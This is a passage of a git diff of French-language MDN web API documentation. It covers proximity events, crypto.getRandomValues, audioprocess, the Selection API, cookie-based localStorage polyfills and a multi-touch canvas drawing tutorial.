    +
  • L'événement {{domxref("DeviceProximityEvent")}} permet de connaître la distance exacte entre l'appareil et l'objet avec sa propriété {{domxref("DeviceProximityEvent.value","value")}}. Il fournit également la distance la plus courte et la distance la plus grande que l'appareil peut détecter avec les propriétés {{domxref("DeviceProximityEvent.min","min")}} et {{domxref("DeviceProximityEvent.max","max")}}.
    • +
  • L'événement {{domxref("UserProximityEvent")}} fournit une valeur approximative pour la distance en utilisant un booléen. La propriété  {{domxref("UserProximityEvent.near")}} vaut true si l'objet est proche ou false si l'objet est loin.
    • +
+

Exemple

+
window.addEventListener('userproximity', function(event) {
+  if (event.near) {
+    // extinction de l'écran
+    navigator.mozPower.screenEnabled = false;
+  } else {
+    // allumage de l'écran
+    navigator.mozPower.screenEnabled = true;
+  }
+});
+

Spécifications

+ + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{ SpecName('Proximity Events', '', 'Proximity Events') }}{{ Spec2('Proximity Events') }}Spécification initiale
+

Compatibilité des navigateurs

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari
{{domxref("DeviceProximityEvent")}}{{CompatNo()}}{{CompatVersionUnknown()}}{{CompatNo()}}{{CompatNo()}}{{CompatNo()}}
{{domxref("UserProximityEvent")}}{{CompatNo()}}{{CompatVersionUnknown()}}{{CompatNo()}}{{CompatNo()}}{{CompatNo()}}
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
{{domxref("DeviceProximityEvent")}}{{CompatNo()}}{{CompatNo()}}{{ CompatGeckoMobile("15.0") }}{{CompatNo()}}{{CompatNo()}}{{CompatNo()}}
{{domxref("UserProximityEvent")}}{{CompatNo()}}{{CompatNo()}}{{CompatVersionUnknown()}}{{CompatNo()}}{{CompatNo()}}{{CompatNo()}}
+
+

Voir aussi

+
    +
  • {{domxref("DeviceProximityEvent")}}
    • +
  • {{domxref("UserProximityEvent")}}
    • +
  • {{event("deviceproximity")}}
    • +
  • {{event("userproximity")}}
    • +
diff --git a/files/fr/web/api/randomsource/getrandomvalues/index.html b/files/fr/web/api/randomsource/getrandomvalues/index.html deleted file mode 100644 index 28682a0c2a..0000000000 --- a/files/fr/web/api/randomsource/getrandomvalues/index.html +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: RandomSource.getRandomValues() -slug: Web/API/RandomSource/getRandomValues -tags: - - API - - Cryptographie - - Methode(2) - - Méthode - - Reference - - Référence(2) -translation_of: Web/API/Crypto/getRandomValues ---- -

{{APIRef("Web Crypto API")}}

- -

La méthode RandomSource.getRandomValues() permet d’obtenir des valeurs pseudo-aléatoires cryptographiquement satisfaisantes. Le tableau donné en paramètre est rempli avec des nombres pseudo-aléatoires.

- -

Pour garantir une performance suffisante, les implémentations n’utilisent pas un vrai générateur de nombres aléatoires, mais un générateur de nombres pseudo-aléatoires semé avec une valeur ayant suffisamment d'{{Glossary("entropie")}}. Les générateurs utilisés d’une implémentation à une autre seront différents mais toujours satisfaisants pour une utilisation en cryptographie. Les implémentations doivent également utiliser une graine ayant suffisamment d’entropie, comme une source d’entropie au niveau du système.

- -

Syntaxe

- -
cryptoObj.getRandomValues(typedArray);
- -

Paramètres

- -
-
typedArray
-
Un {{jsxref("TypedArray")}} de nombres entiers, qui est un {{jsxref("Int8Array")}}, un {{jsxref("Uint8Array")}}, un {{jsxref("Uint16Array")}}, un {{jsxref("Int32Array")}}, ou encore un {{jsxref("Uint32Array")}}. Tous les éléments du tableau seront subsitués avec des nombres aléatoires.
-
- -

Exceptions

- -
    -
  • Une {{exception("QuotaExceededError")}} {{domxref("DOMException")}} est levée si la taille de la requête est plus grand que 65 536 octets.
    • -
- -

Exemple

- -
/* on part du principe ici que window.crypto.getRandomValues est disponible */
-
-var array = new Uint32Array(10);
-window.crypto.getRandomValues(array);
-
-console.log("Your lucky numbers:");
-for (var i = 0; i < array.length; i++) {
-    console.log(array[i]);
-}
-
- -

Spécification

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Crypto API', '#RandomSource-method-getRandomValues')}}{{Spec2('Web Crypto API')}}Initial definition
- -

Compatibilité des navigateurs

- -
{{Compat("api.Crypto.getRandomValues")}}
- -

Voir aussi

- -
    -
  • {{ domxref("Window.crypto") }} pour obtenir un objet {{domxref("Crypto")}}.
    • -
  • {{jsxref("Math.random")}}, une source non cryptographique de nombres aléatoires.
    • -
diff --git a/files/fr/web/api/scriptprocessornode/audioprocess_event/index.html b/files/fr/web/api/scriptprocessornode/audioprocess_event/index.html new file mode 100644 index 0000000000..ae89178361 --- /dev/null +++ b/files/fr/web/api/scriptprocessornode/audioprocess_event/index.html @@ -0,0 +1,151 @@ +--- +title: audioprocess +slug: Web/Events/audioprocess +translation_of: Web/API/ScriptProcessorNode/audioprocess_event +--- +
+

L'événement audioprocess est déclenché lorsqu'un tampon d'entrée d'une API Web audio {{domxref("ScriptProcessorNode")}} est prêt à être traité.

+
+ +

Informations générales

+ +
+
Spécification
+
{{SpecName('Web Audio API', '#AudioProcessingEvent-section', 'AudioProcessingEvent')}}
+
Interface
+
{{domxref("AudioProcessingEvent")}}
+
Propagation
+
?
+
Annulable
+
?
+
Cible
+
{{domxref("ScriptProcessorNode")}}
+
Action par défaut
+
Aucune
+
+ +

Propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéTypeDescription
target {{ReadOnlyInline}}{{domxref("EventTarget")}}La cible de l'événement (la plus haute cible dans l'arbre du DOM).
type {{ReadOnlyInline}}{{domxref("DOMString")}}Le type de l'événement.
bubbles {{ReadOnlyInline}}booleanEst-ce que l'événement se propage?
cancelable {{ReadOnlyInline}}booleanEst-il possible d'annuler l'événement?
playbackTime {{ReadOnlyInline}}doubleLe moment auquel le son sera joué tel que défini par le temps de {{domxref("AudioContext.currentTime")}}.
inputBuffer {{ReadOnlyInline}}{{domxref("AudioBuffer")}} +

Le tampon contenant les données audio d'entrée devant être traité. Le nombre de canaux est défini par le paramètre numberOfInputChannels de la méthode {{domxref("AudioContext.createScriptProcessor()")}}. Noter que le AudioBuffer retourné est seulement valide dans la portée de la fonction onaudioprocess.

+
outputBuffer {{ReadOnlyInline}}{{domxref("AudioBuffer")}} +

Le tampon dans lequel doit être écrit les données audio de sortie. Le nombre de canaux est défini par le paramètre numberOfOutputChannels de la méthode {{domxref("AudioContext.createScriptProcessor()")}}. Noter que le AudioBuffer retourné est seulement valide dans la portée de la fonction onaudioprocess.

+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('Web Audio API', '#AudioProcessingEvent-section', 'AudioProcessingEvent')}}{{Spec2('Web Audio API')}} 
+ +

Compatibilités navigateur

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
NavigateurChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Support basique{{CompatVersionUnknown}}{{property_prefix("webkit")}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
AppareilAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Support basique{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/api/selection_api/index.html b/files/fr/web/api/selection_api/index.html deleted file mode 100644 index bca8077699..0000000000 --- a/files/fr/web/api/selection_api/index.html +++ /dev/null @@ -1,221 +0,0 @@ ---- -title: Selection API -slug: Web/API/Selection_API -translation_of: Web/API/Selection_API ---- -

{{APIRef}}

- -
-

L’API Selection fournit des fonctionnalités pour lire et manipuler les plages (en anglais : ranges) de texte sélectionnées par l’utilisatrice ou l’utilisateur.

-
- -

Concepts et utilisation

- -

Pour obtenir la plage de texte actuellement sélectionnée par l’utilisatrice ou l’utilisateur, vous pouvez utiliser la méthode {{domxref("Window.getSelection()")}} ou {{domxref("Document.getSelection()")}}, et stocker la valeur de retour – un objet {{domxref("Selection")}} – dans une variable pour une utilisation ultérieure.

- -

Une fois que votre sélection est dans une variable, vous pouvez effectuer différentes opérations dessus, par exemple :

- -
    -
  • copier la sélection dans une chaîne en utilisant {{domxref("Selection.toString()")}} ;
    • -
  • ajouter (ou enlever) une plage (representée par un objet {{domxref("Range")}} standard) à la sélection grâce à {{domxref("Selection.addRange()")}} / {{domxref("Selection.removeRange()")}} ;
    • -
  • modifier la sélection pour qu’elle devienne le contenu entier d’un nœud DOM grâce à {{domxref("Selection.selectAllChildren()")}}.
    • -
- -

Vous pouvez exécuter du code en réponse à un changement de sélection, ou au commencement d’une nouvelle sélection, en utilisant les gestionnaires d’évènements {{domxref("GlobalEventHandlers.onselectionchange")}} et {{domxref("GlobalEventHandlers.onselectstart")}}.

- -

Interfaces de l’API Selection

- -
-
{{domxref("Selection")}}
-
Représente la plage de texte sélectionnée ou la position actuelle du curseur.
-
- -

Extensions à d’autres interfaces

- -
-
{{domxref("Window.getSelection()")}}, {{domxref("Document.getSelection()")}}
-
Retourne un objet {{domxref("Selection")}} représentant la plage de texte sélectionnée ou la position actuelle du curseur. Document.getSelection() est en quelques sortes un alias de Window.getSelection().
-
{{domxref("GlobalEventHandlers.onselectstart")}}
-
Représente le gestionnaire d’évènement qui est appelé quand un évènement {{event("selectstart")}} est émis sur l’objet concerné (c’est-à-dire quand une nouvelle plage de texte est sur le point d’être sélectionnée).
-
{{domxref("GlobalEventHandlers.onselectionchange")}}
-
Représente le gestionnaire d’évènement qui est appelé quand un évènement {{event("selectionchange")}} est émis sur l’objet concerné (c’est-à-dire quand la plage de texte sélectionné change).
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('Selection API', '#definition', 'Selection')}}{{Spec2('Selection API')}}La spécification de l’API Selection est basée sur la spécification de l’API Édition HTML et se concentre sur les fonctionnalités liées à la sélection.
{{SpecName('HTML Editing', '#selection', 'Selection')}}{{Spec2('HTML Editing')}}Définition initiale (plus ancienne), à présent obsolète.
- -

Compatibilité des navigateurs

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Support de base{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown()}}
- {{CompatGeckoDesktop(52)}}[1]		9{{CompatVersionUnknown}}{{CompatVersionUnknown}}
modify(){{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop(2)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
setBaseAndExtent(){{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop(53)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
deleteFromDocument(){{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(55)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
empty() comme alias de removeAllRanges(){{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop(55)}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
setPosition() comme alias de collapse(){{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop(55)}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Support de base{{CompatUnknown}}{{CompatVersionUnknown}} -

{{CompatVersionUnknown()}}
- {{CompatGeckoMobile(52)}}[1]

- 		{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
modify(){{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(2)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
setBaseAndExtent(){{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(53)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
deleteFromDocument(){{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(55)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
empty() comme alias de removeAllRanges(){{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(55)}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
setPosition() comme alias de collapse(){{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(55)}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

[1] Les gestionnaires d’évènements {{domxref("GlobalEventHandlers.onselectionchange")}} et {{domxref("GlobalEventHandlers.onselectstart")}} sont supportés à partir de Firefox 52.

- -

Voir aussi

- -
    -
  • Key quote generator: Une démo simple montrant un usage typique de l’API Selection pour capturer la sélection actuelle à un instant donné et copier les sélections dans une liste (voir également en direct).
    • -
  • L’objet {{domxref("Range")}}.
    • -
diff --git a/files/fr/web/api/storage/localstorage/index.html b/files/fr/web/api/storage/localstorage/index.html deleted file mode 100644 index 9f6c400f86..0000000000 --- a/files/fr/web/api/storage/localstorage/index.html +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: LocalStorage -slug: Web/API/Storage/LocalStorage -translation_of: Web/API/Window/localStorage -translation_of_original: Web/API/Web_Storage_API/Local_storage ---- -

{{APIRef()}}

- -

La propriété localStorage de l’objet Window est comparable à {{ DOMxRef("Window.sessionStorage", "sessionStorage") }} (la même {{ Glossary("same-origin_policy", "politique de même origine") }} est appliquée), mais les données enregistrées sont persistantes d’une session à l’autre. localStorage a été introduit dans Firefox 3.5.

- -
Note : Quand le navigateur est en mode navigation privée, une nouvelle base de donnée temporaire est créée pour stocker les données locales ; cette base de données est vidée et supprimée quand le mode de navigation privée est arrêté.
- -
// Sauvegarder les informations dans l’espace local courant
-localStorage.setItem("username", "John");
-
-// Accéder à des données enregistrées
-alert("username = " + localStorage.getItem("username"));
- -

La persistence de localStorage le rend utile pour une varitété d’usages, comprenant des compteurs de vues de page comme démontré dans ce tutoriel sur Codepen.

- -

Compatibilité

- -

Les objets {{ DOMxRef("Storage") }} sont un ajout récent au standard. Ainsi, ils pourraient ne pas être présents dans tous les navigateurs. Il est possible de contourner ce problème en insérant l’un des deux codes suivants au début de vos scripts. Cela vous permettra d’utiliser l’objet localStorage dans les navigateurs qui ne le supportent pas nativement.

- -

Cet algorithme est une imitation exacte de l’objet localStorage, mais utilise les cookies.

- -
if (!window.localStorage) {
-  Object.defineProperty(window, "localStorage", new (function () {
-    var aKeys = [], oStorage = {};
-    Object.defineProperty(oStorage, "getItem", {
-      value: function (sKey) { return sKey ? this[sKey] : null; },
-      writable: false,
-      configurable: false,
-      enumerable: false
-    });
-    Object.defineProperty(oStorage, "key", {
-      value: function (nKeyId) { return aKeys[nKeyId]; },
-      writable: false,
-      configurable: false,
-      enumerable: false
-    });
-    Object.defineProperty(oStorage, "setItem", {
-      value: function (sKey, sValue) {
-        if(!sKey) { return; }
-        document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/";
-      },
-      writable: false,
-      configurable: false,
-      enumerable: false
-    });
-    Object.defineProperty(oStorage, "length", {
-      get: function () { return aKeys.length; },
-      configurable: false,
-      enumerable: false
-    });
-    Object.defineProperty(oStorage, "removeItem", {
-      value: function (sKey) {
-        if(!sKey) { return; }
-        document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
-      },
-      writable: false,
-      configurable: false,
-      enumerable: false
-    });
-    this.get = function () {
-      var iThisIndx;
-      for (var sKey in oStorage) {
-        iThisIndx = aKeys.indexOf(sKey);
-        if (iThisIndx === -1) { oStorage.setItem(sKey, oStorage[sKey]); }
-        else { aKeys.splice(iThisIndx, 1); }
-        delete oStorage[sKey];
-      }
-      for (aKeys; aKeys.length > 0; aKeys.splice(0, 1)) { oStorage.removeItem(aKeys[0]); }
-      for (var aCouple, iKey, nIdx = 0, aCouples = document.cookie.split(/\s*;\s*/); nIdx < aCouples.length; nIdx++) {
-        aCouple = aCouples[nIdx].split(/\s*=\s*/);
-        if (aCouple.length > 1) {
-          oStorage[iKey = unescape(aCouple[0])] = unescape(aCouple[1]);
-          aKeys.push(iKey);
-        }
-      }
-      return oStorage;
-    };
-    this.configurable = false;
-    this.enumerable = true;
-  })());
-}
-
- -
Note : La taille maximale des données est limitée par la capacité des cookies. Avec cet algorithme, utilisez les fonctions localStorage.setItem() et localStorage.removeItem() pour ajouter, changer ou supprimer une clé. L’utilisation des méthodes localStorage.yourKey = yourValue; et delete localStorage.yourKey; pour définir ou supprimer une clé n’est pas sécurisée avec ce code. Vous pouvez également changer son nom et l’utiliser pour gérer uniquement les cookies indépendamment de l’objet localStorage.
- -
Note : En remplaçant "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/" par "; path=/" (et en changeant le nom de l’objet), cela deviendra un polyfill pour sessionStorage plutôt que pour localStorage. Cependant, cette implémentation partagera les valeurs stockées entre les fenêtres et onglets du navigateur (et sera nettoyée seulement quand toutes les fenêtres du navigateur sont fermées), tandis qu’une implémentation fidèle de sessionStorage restreint les valeurs stockées au {{ Glossary("Browsing_context", "contexte de navigation") }} actuel uniquement.
- -

Voici une autre imitation, moins exacte, de l’objet localStorage. Elle est plus simple que la version précédente, mais est compatible avec les navigateur plus anciens comme Internet Explorer < 8 (testé et vérifié même avec Internet Explorer 6). Ce code utilise également les cookies.

- -
if (!window.localStorage) {
-  window.localStorage = {
-    getItem: function (sKey) {
-      if (!sKey || !this.hasOwnProperty(sKey)) { return null; }
-      return unescape(document.cookie.replace(new RegExp("(?:^|.*;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*((?:[^;](?!;))*[^;]?).*"), "$1"));
-    },
-    key: function (nKeyId) {
-      return unescape(document.cookie.replace(/\s*\=(?:.(?!;))*$/, "").split(/\s*\=(?:[^;](?!;))*[^;]?;\s*/)[nKeyId]);
-    },
-    setItem: function (sKey, sValue) {
-      if(!sKey) { return; }
-      document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/";
-      this.length = document.cookie.match(/\=/g).length;
-    },
-    length: 0,
-    removeItem: function (sKey) {
-      if (!sKey || !this.hasOwnProperty(sKey)) { return; }
-      document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
-      this.length--;
-    },
-    hasOwnProperty: function (sKey) {
-      return (new RegExp("(?:^|;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
-    }
-  };
-  window.localStorage.length = (document.cookie.match(/\=/g) || window.localStorage).length;
-}
-
- -
Note : La taille maximale des données est limitée par les capacités des cookies. Avec cet algorithme, utilisez les fonctions localStorage.getItem(), localStorage.setItem(), et localStorage.removeItem() pour récupérer, ajouter, modifier ou supprimer une clé. L’utilsation de la méthode localStorage.yourKey pour récupérer, définir, ou supprimer une clé n’est pas possible avec ce code. Vous pouvez également changer son nom et l’utiliser pour gérer les cookies indépendamment de l’objet localStorage.
- -
Note : En remplaçant la chaîne "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/" par "; path=/" (et en changeant le nom de l’objet), cela deviendra un polyfill pour sessionStorage plutôt que pour localStorage. Cependant, cette implémentation partagera les valeurs stockées au travers des onglets et fenêtres du navigateur (et seront supprimée uniquement quand toutes les fenêtres du navigateur seront fermées), alors qu’une implémentation pleinement compatible avec sessionStorage restreint les valeurs sauvegardées au {{ Glossary("Browsing_context", "contexte de navigation") }} actuel uniquement.
- -

Compatibilité et relation avec globalStorage

- -

localStorage est équivalent à globalStorage[location.hostname], à la différence qu’il est rattaché à une {{ Glossary("origine") }} HTML5, et que localStorage est une instance de Storage, contrairement à globalStorage[location.hostname] qui est une instance de StorageObsolete (qui est abordé ci-dessous). Par exemple, http://example.com ne sera pas capable d’accéder au même objet localStorage que https://example.com mais il pourront accéder au même élément globalStorage. localStorage est une interface standard alors que globalStorage n’est pas standard. Ainsi, vous ne devriez pas vous fier à cette dernière.

- -

Veuillez noter que définir une propriété sur globalStorage[location.hostname] n’entraîne pas sa définition sur localStorage, et qu’étendre Storage.prototype n’affecte pas les objets globalStorage ; pour faire ainsi, c’est StorageObsolete.prototype qu’il faut étendre.

- -

Format de stockage

- -

Les clés et les valeurs de Storage sont stockées au format {{ DOMxRef("DOMString") }} UTF-16, qui utilise 2 octets par caractère.

diff --git a/files/fr/web/api/touch_events/index.html b/files/fr/web/api/touch_events/index.html new file mode 100644 index 0000000000..7f3cbae7b5 --- /dev/null +++ b/files/fr/web/api/touch_events/index.html @@ -0,0 +1,245 @@ +--- +title: Événements tactiles / Touch events +slug: Web/Guide/DOM/Events/Touch_events +tags: + - Tactile + - touch +translation_of: Web/API/Touch_events +--- +

{{DefaultAPISidebar("Touch Events")}}

+ +

Afin de fournir un support de qualité pour les interfaces tactiles, les événements tactiles (touch events) permettent d'interpréter les interactions tactiles (sur les écrans ou trackpads).

+ +

Définitions

+ +
+
Surface
+
La surface tactile. Cela peut être un écran ou un trackpad.
+
+ +
+
Point de toucher (Touch point)
+
Le point de contact avec la surface. Cela peut être un doigt ou un stylet (ou un coude, une oreille, un nez... enfin il y a quand même des chances que cela soit un doigt).
+
+ +

Interfaces

+ +
+
{{ domxref("TouchEvent") }}
+
Représente l'événement qui se produit quand l'action de toucher change.
+
{{ domxref("Touch") }}
+
Représente un point unique de contact entre l'utilisateur et la surface tactile.
+
{{ domxref("TouchList") }}
+
Représente un groupe de plusieurs interactions tactiles. Cela peut par exemple être le cas quand l'utilisateur utilise plusieurs doigts pour toucher simultanément la même surface.
+
{{ domxref("DocumentTouch") }}
+
Contient des méthodes permettant de créer les objets  {{ domxref("Touch") }} et {{ domxref("TouchList") }}.
+
+ +

Exemple

+ +

Cet exemple permet de gérer un toucher multiple (plusieurs contacts simultanés), permettant ainsi à l'utilisateur de dessiner dans un {{ HTMLElement("canvas") }} avec plusieurs doigts. Cela ne fonctionne qu'avec les navigateurs supportant les interactions tactiles.

+ +
Note : Le texte qui suit utilisera le terme de « doigt » pour désigner le point de toucher entre l'utilisateur et la surface. Bien entendu, cela est transposable avec une autre méthode de toucher (stylet...).
+ +

Initialiser les gestionnaires d'événements

+ +

Quand la page charge, la fonction startup() décrite ci-dessous est appelée par l'attribut onload de l'élément {{ HTMLElement("body") }}.

+ +
function startup() {
+  var el = document.getElementsByTagName("canvas")[0];
+  el.addEventListener("touchstart", handleStart, false);
+  el.addEventListener("touchend", handleEnd, false);
+  el.addEventListener("touchcancel", handleCancel, false);
+  el.addEventListener("touchleave", handleLeave, false);
+  el.addEventListener("touchmove", handleMove, false);
+}
+
+ +

Cela permet simplement d'initialiser les observateurs d'événements pour l'élément {{ HTMLElement("canvas") }} afin de pouvoir gérer ceux-ci lorsqu'ils se produisent.

+ +

Gérer les nouveaux touchers

+ +

Quand un événement touchstart se produit, cela indique qu'un nouveau toucher s'est produit. La fonction handleStart() est alors appelée.

+ +
function handleStart(evt) {
+  evt.preventDefault();
+  var el = document.getElementsByTagName("canvas")[0];
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i=0; i<touches.length; i++) {
+    ongoingTouches.push(touches[i]);
+    var color = colorForTouch(touches[i]);
+    ctx.fillStyle = color;
+    ctx.fillRect(touches[i].pageX-2, touches[i].pageY-2, 4, 4);
+  }
+}
+
+ +

Cette fonction appelle {{ domxref("event.preventDefault()") }}, ce qui évite au navigateur de continuer à traiter cet événement (le début du toucher). Cela permet aussi de ne pas déclencher d'événement de souris. On obtient ensuite le contexte, duquel on peut obtenir une liste des changements des points de toucher grâce à la propriété {{ domxref("TouchEvent.changedTouches") }} de l'événement.

+ +

Après quoi, on fait une boucle sur les différents objets {{ domxref("Touch") }} de la liste. puis on les stocke dans un tableau pour ensuite dessiner les points (on souhaite peindre une ligne large de 4 pixels, on dessinera donc des points comme des carrés mesurant 4x4 pixels).

+ +

Dessiner avec les déplacements

+ +

Chaque fois que le(s) doigt(s) bouge(nt), un événement touchmove est déclenché, ce qui provoque l'appel de la fonction handleMove() que l'on a créée. Son rôle, dans cet exemple, est d'actualiser les informations mises en cache sur les informations tactiles et de dessiner une ligne entre la position précédente et la position actuelle pour chacune des touches.

+ +
function handleMove(evt) {
+  evt.preventDefault();
+  var el = document.getElementsByTagName("canvas")[0];
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  ctx.lineWidth = 4;
+
+  for (var i=0; i<touches.length; i++) {
+    var color = colorForTouch(touches[i]);
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+
+    ctx.fillStyle = color;
+    ctx.beginPath();
+    ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
+    ctx.lineTo(touches[i].pageX, touches[i].pageY);
+    ctx.closePath();
+    ctx.stroke();
+    ongoingTouches.splice(idx, 1, touches[i]);  // mettre à jour la liste des touchers
+  }
+}
+
+ +

Cette fonction boucle également sur les changements de touchers. Elle consulte toutefois les informations en cache dans le tableau pour déterminer le point de départ de chaque nouveau segment. Cela se fait en consultant la propriété {{ domxref("Touch.identifier") }}. Cette propriété est un entier unique pour chaque touche, cet entier reste le même pour chaque événement tant que le doigt est en contact avec la surface.

+ +

Cela permet d'obtenir les précédentes coordonnées pour chaque toucher et ainsi d'utiliser la méthode adaptée pour dessiner le segment reliant les deux positions.

+ +

Une fois le segment dessiné, on appelle Array.splice() pour remplacer les informations précédentes sur les points de toucher par les informations courantes contenues dans le tableau ongoingTouches.

+ +

Gérer la fin d'un toucher

+ +

Lorsqu'un utilisateur enlève son doigt de la surface, un événement touchend est envoyé. De la même manière, un événement touchleave sera envoyé si le doigt sort du canvas. Ici, les deux événements sont gérés en commun avec la fonction handleEnd() ci-dessous. Son rôle est de dessiner le dernier segment pour chaque toucher qui s'est fini et de retirer le point de contact de la liste.

+ +
function handleEnd(evt) {
+  evt.preventDefault();
+  var el = document.getElementsByTagName("canvas")[0];
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  ctx.lineWidth = 4;
+
+  for (var i=0; i<touches.length; i++) {
+    var color = colorForTouch(touches[i]);
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+
+    ctx.fillStyle = color;
+    ctx.beginPath();
+    ctx.moveTo(ongoingTouches[i].pageX, ongoingTouches[i].pageY);
+    ctx.lineTo(touches[i].pageX, touches[i].pageY);
+    ongoingTouches.splice(i, 1);  // On enlève le point
+  }
+}
+
+ +

Cette fonction ressemble beaucoup à la précédente sauf qu'ici en appelant Array.splice(), on retire simplement l'ancien point sans ajouter un point mis à jour. On arrête donc de « suivre » ce point.

+ +

Gérer l'annulation d'un toucher

+ +

Si le doigt de l'utilisateur se balade dans l'interface du navigateur ou si un toucher doit être annulé, l'événement touchcancel est envoyé et on appelle alors la fonction handleCancel().

+ +
function handleCancel(evt) {
+  evt.preventDefault();
+  var touches = evt.changedTouches;
+
+  for (var i=0; i<touches.length; i++) {
+    ongoingTouches.splice(i, 1);  // on retire le point
+  }
+}
+
+ +

L'idée est ici la même que pour la fin d'un toucher, on retire simplement le point de la liste. Ici on ne dessine pas le dernier segment.

+ +

Fonctions auxiliaires

+ +

Cet exemple utilise deux fonctions auxiliaires qu'il est conseillé de lire rapidement afin de mieux comprendre le reste du code.

+ +

Sélectionner une couleur pour chaque toucher

+ +

Afin que chaque contact soit différent, on utilisera la fonction colorForTouch() pour choisir un couleur unique pour chacun, basée sur l'identifiant du toucher. Cet identifiant sera toujours compris entre 0 et le nombre de touchers moins 1. Imaginons que personne n'utilisera plus de 16 touchers simultanés, on peut alors directement convertir les identifiants en niveaux de gris.

+ +
function colorForTouch(touch) {
+  var id = touch.identifier;
+  id = id.toString(16); // creer un nombre hexadécimal
+  return "#" + id + id + id;
+}
+
+ +

Le résultat de cette fonction sera une chaîne de caractères qui pourra être utilisée par les fonctions de l'élément {{ HTMLElement("canvas") }} pour dessiner les couleurs. Ainsi avec un identifiant initial {{ domxref("Touch.identifier") }} de 10, le résultat de cette fonction sera la chaîne "#aaa".

+ +

Retrouver un toucher en cours

+ +

La fonction ongoingTouchIndexById() analyse le tableau ongoingTouches pour trouver le toucher correspondant à l'identifiant donné. Elle retourne alors l'indice du toucher dans le tableau.

+ +
function ongoingTouchIndexById(idToFind) {
+  for (var i=0; i<ongoingTouches.length; i++) {
+    var id = ongoingTouches[i].identifier;
+
+    if (id == idToFind) {
+      return i;
+    }
+  }
+  return -1;    // toucher non trouvé
+}
+
+ +

Voir l'exemple sur une page

+ +

Astuces supplémentaires

+ +

Cette section fournit quelques astuces supplémentaires pour gérer les événements tactiles au sein de votre application web.

+ +

Gérer les clics

+ +

Étant donné que l'appel de la méthode preventDefault() sur l'événement  touchstart ou le premier événement touchmove de la série empêche la saisie d'événements en provenance de la souris, on appelle souvent  preventDefault() sur touchmove plutôt que sur touchstart. Ainsi, les événements de la souris peuvent continuer à se déclencher et le reste du site fonctionnera de manière habituelle. Une autre méthode parfois utilisée est de déclencher des événements de souris à partir des événements tactiles. (L'exemple qui suit représente seulement une indication. La logique a été simplifiée et ce code, tel quel, aura un comportement étrange.)

+ +
